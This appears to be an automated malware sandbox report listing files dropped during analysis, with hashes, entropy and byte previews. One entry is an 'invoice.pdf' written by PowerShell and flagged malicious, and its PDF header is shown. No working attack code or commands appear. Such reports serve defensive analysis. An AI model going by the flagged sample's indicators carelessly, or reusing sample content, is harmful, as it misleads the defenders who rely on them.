Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI17084.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEN:Qw946cPbiOxDlbYnuRK+bDN
MD5:	F9CAE117D20EDD61954A9CD9AAEB9ACB
SHA1:	0B9F4F3B4665A5113F67511078F22F6553C02131
SHA-256:	E36BC8111CD3E8EB48BFC2221E57CC676D8CC5F3C072A64D8DF73F3D1D1DF4A3
SHA-512:	1DD40A6ECB40D3BE2D845D73C6805FE062D9E467813C6D6141F3D493184DA54E76D16A345985FAE7DAD8523F6D07AE7DC52F5C8487F8F149062128E152EC8553
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.3.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_roxx2a4f.j0i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1qqbcqd.4jn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9l97qle_xdrjqj_1ls.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9zk5wet_xdrjqk_1ls.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-13-11-976.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.354525450313919
Encrypted:	false
SSDEEP:	384:cxcPUyZ76hEuRLbuQzyB+dX6vbMR/fQ4PWB+icE0jNv4+gWV/vIzopHoNAGzU3WE:9hu
MD5:	500E2C0FA0C7EEE88CB01F24DDDE35B1
SHA1:	941398F076BB82FAC654D541364D6C6B493A3551
SHA-256:	6549143E8EBCE6C7E22814BF3E05CB28DF99542022B49D73594DF04BF307165E
SHA-512:	591281F0EA0F43F5A87DD642D9E22A2779B8EBC764E19DABDBCF436E54EF6CD8D056DEA0DD42C69C77AA517F1FD98671DB71DE245A4B3C55BA912D556ACE4978
Malicious:	false
Preview:	SessionID=c1a1f5fd-4dc6-4d70-880b-8fccd72a17bc.1736525592030 Timestamp=2025-01-10T11:13:12:031-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c1a1f5fd-4dc6-4d70-880b-8fccd72a17bc.1736525592030 Timestamp=2025-01-10T11:13:12:031-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c1a1f5fd-4dc6-4d70-880b-8fccd72a17bc.1736525592030 Timestamp=2025-01-10T11:13:12:032-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c1a1f5fd-4dc6-4d70-880b-8fccd72a17bc.1736525592030 Timestamp=2025-01-10T11:13:12:032-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c1a1f5fd-4dc6-4d70-880b-8fccd72a17bc.1736525592030 Timestamp=2025-01-10T11:13:12:032-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38389398907991
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rX:fr
MD5:	6F93633E01BA84D09B619507B7F0ECC4
SHA1:	76198D7CFE89A7C783384CB1467300CCD52B29B8
SHA-256:	475DA8DB9D6C0B22BAF2BFF16A2E3C5BB2919E47EBA73AFC8EC3BC51703975ED
SHA-512:	3A848ECC6535581C96E95C0027EBFA6224D62D55864676B6DE532F8F8C30037548E9D3D57DF1A7FB7AD85989A6CF788FF2978DD6215DD7A1420D62CB07D32C9D
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9b5f7a66-03cb-4cc8-bafe-1f04d96679bb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aff8db7c-48b5-417f-a391-5457cad15cb1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWLEwYIGNPe7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLEwZGtYGZn3mlind9i4ufFXpAXkru
MD5:	B9E897DFE9D7DB0E0FA82CE6FBBE6B7F
SHA1:	A08441F08CA8C30D3D462A56923CBA6CCC32935C
SHA-256:	9EEED3E9FF7A0E6C060F613625E8B57A762FA6CB574E426103739532E423A9D2
SHA-512:	F9519E4E9B3D1954DC7B57C82F2E296D571F8E6EC2B008F6539215CB9B6012E709548B352D4C64B9AEB29BD9993FACE3D9E1ED11AFC90A8C216DFA6C4628CFD1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bad06787-d233-45cd-b14f-837c9143440b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c6a0a517-9b7e-4a59-b96f-92287537b20a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
